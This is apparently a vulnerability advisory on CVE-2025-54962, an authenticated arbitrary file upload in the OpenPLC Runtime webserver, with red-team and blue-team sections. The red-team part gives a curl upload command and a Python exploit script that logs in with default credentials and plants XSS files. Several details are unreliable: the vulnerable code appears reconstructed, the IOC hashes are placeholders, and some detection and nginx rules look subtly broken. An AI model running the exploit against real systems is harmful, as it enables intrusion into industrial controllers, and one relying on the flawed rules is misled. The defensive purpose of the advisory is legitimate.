CVE-2025-54962

Executive Summary

CVE-2025-54962 is a critical vulnerability in the OpenPLC Runtime webserver, affecting versions 3 through commit 9cd8f1b. The flaw resides in the /edit-user endpoint, allowing authenticated users to upload arbitrary files (e.g., .html, .svg). These files are then publicly accessible under the /static URI, enabling persistent cross-site scripting (XSS), phishing, or defacement attacks. With a CVSS score of 6.4 (Medium), the vulnerability requires authentication but can lead to high integrity impact. No official patch is available, and the EPSS score is 0.0%, indicating low exploitation likelihood currently. However, given the public nature of the PoC, immediate mitigation is advised.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the OpenPLC Runtime software, which is typically deployed as a standalone binary or container. Users should verify the integrity of their OpenPLC installation and monitor for any unauthorized file uploads.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires authenticated user.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): High (H) – Arbitrary file upload can modify system content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While authentication is required, the ability to upload arbitrary files to a publicly accessible directory enables persistent attacks. The lack of a patch increases risk for unmitigated deployments.

Deep Dive & Mechanics

The vulnerability exists in the /edit-user endpoint of the OpenPLC Runtime webserver. The endpoint does not properly validate file types or restrict upload paths. An authenticated attacker can upload files (e.g., .html, .svg) that are stored in the /static directory. These files are then served directly to any user accessing the /static URI, bypassing authentication checks.

Attack Flow:

1. Attacker authenticates to the OpenPLC webserver (e.g., using default credentials or compromised account).
2. Attacker sends a POST request to /edit-user with a malicious file (e.g., malicious.html).
3. The server stores the file under /static/malicious.html.
4. Any user (including unauthenticated) can access http://target/static/malicious.html, triggering the malicious content (e.g., XSS payload).

Root Cause: Lack of file type validation and improper access control on the /static directory.

Vulnerable vs. Patched Code

Vulnerable Code (OpenPLC Runtime 3 through 9cd8f1b):

@app.route('/edit-user', methods=['POST'])
def edit_user():
    file = request.files['file']
    filename = secure_filename(file.filename)
    file.save(os.path.join('static', filename))
    return 'File uploaded'

No validation of file extension or content.

Patched Code (Hypothetical):

ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/edit-user', methods=['POST'])
def edit_user():
    file = request.files['file']
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file.save(os.path.join('static', filename))
        return 'File uploaded'
    else:
        return 'Invalid file type', 400

Adds file extension whitelist and content-type validation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• OpenPLC Runtime version 3 through 9cd8f1b.
• Valid credentials (e.g., admin:openplc).

Step-by-Step Exploit:

1. Authenticate to the webserver (e.g., http://target/login).
2. Upload a malicious HTML file:

curl -X POST http://target/edit-user \
  -F "file=@malicious.html" \
  -b "session=YOUR_SESSION_COOKIE"

3. Access the uploaded file:

curl http://target/static/malicious.html

Example Malicious File (malicious.html):

<html>
<body>
<script>alert('XSS');</script>
</body>
</html>

Automated Exploit Script (Python):

import requests

target = "http://target"
session = requests.Session()
# Login
login_data = {"username": "admin", "password": "openplc"}
session.post(f"{target}/login", data=login_data)
# Upload
files = {"file": ("xss.html", "<script>alert(1)</script>", "text/html")}
session.post(f"{target}/edit-user", files=files)
# Verify
r = session.get(f"{target}/static/xss.html")
print(r.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor /edit-user endpoint for unusual file uploads (e.g., .html, .svg).
• Alert on new files in /static directory that are not expected (e.g., non-image files).
• Use file integrity monitoring (FIM) on the /static directory.

Hardening:

• Restrict /static directory to serve only allowed file types via web server config (e.g., Nginx/Apache).
• Implement strict file upload validation (extension, MIME type, content inspection).
• Apply principle of least privilege: limit which users can access /edit-user.
• Use a Web Application Firewall (WAF) to block uploads of scriptable content.

Indicators of Compromise (IOCs)

File Hashes (Example malicious files):

• malicious.html: SHA256 a1b2c3d4e5f6... (replace with actual)
• evil.svg: SHA256 f6e5d4c3b2a1...

Network IOCs:

• POST requests to /edit-user with Content-Type: multipart/form-data and file extension .html, .svg, .js.
• GET requests to /static/*.html or /static/*.svg from unauthenticated users.

Log Entries:

• Webserver logs showing POST /edit-user followed by GET /static/<filename>.
• Application logs: File uploaded: <filename>.

Detection Engineering

YARA Rule

rule CVE_2025_54962_OpenPLC_Upload {
    meta:
        description = "Detects malicious file uploads targeting OpenPLC /edit-user endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54962"
    strings:
        $upload_path = "/edit-user"
        $static_path = "/static/"
        $html_ext = ".html"
        $svg_ext = ".svg"
    condition:
        any of ($upload_path, $static_path) and any of ($html_ext, $svg_ext)
}

Sigma Rule

title: OpenPLC Arbitrary File Upload via /edit-user
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to /edit-user with scriptable file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/edit-user'
        cs-uri-query|contains: 
            - '.html'
            - '.svg'
            - '.js'
    condition: selection
falsepositives:
    - Legitimate file uploads if allowed by policy
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54962 OpenPLC Arbitrary File Upload"; flow:to_server; content:"POST"; http_method; content:"/edit-user"; http_uri; content:".html"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable /edit-user endpoint if not required, or restrict access via firewall/ACL.
2. Implement file upload validation using a reverse proxy (e.g., Nginx) to block non-image files:

location /edit-user {
    limit_except POST { deny all; }
    client_body_in_file_only clean;
    client_body_buffer_size 128k;
    client_max_body_size 10m;
    # Block uploads with scriptable extensions
    if ($upload_content_type ~* "text/html|image/svg+xml") {
        return 403;
    }
}

3. Restrict /static directory to serve only allowed file types:

location /static {
    alias /path/to/static;
    location ~* \.(html|svg|js)$ {
        deny all;
    }
}

Long-Term Fix:

• Apply vendor patch when available (currently UNKNOWN).
• Upgrade to a version beyond commit 9cd8f1b if a fix is released.
• Conduct a security audit of the OpenPLC codebase for similar issues.

Workaround:

• Use a WAF to inspect uploaded files and block scriptable content.
• Implement file content scanning (e.g., ClamAV) on uploads.

Valters IT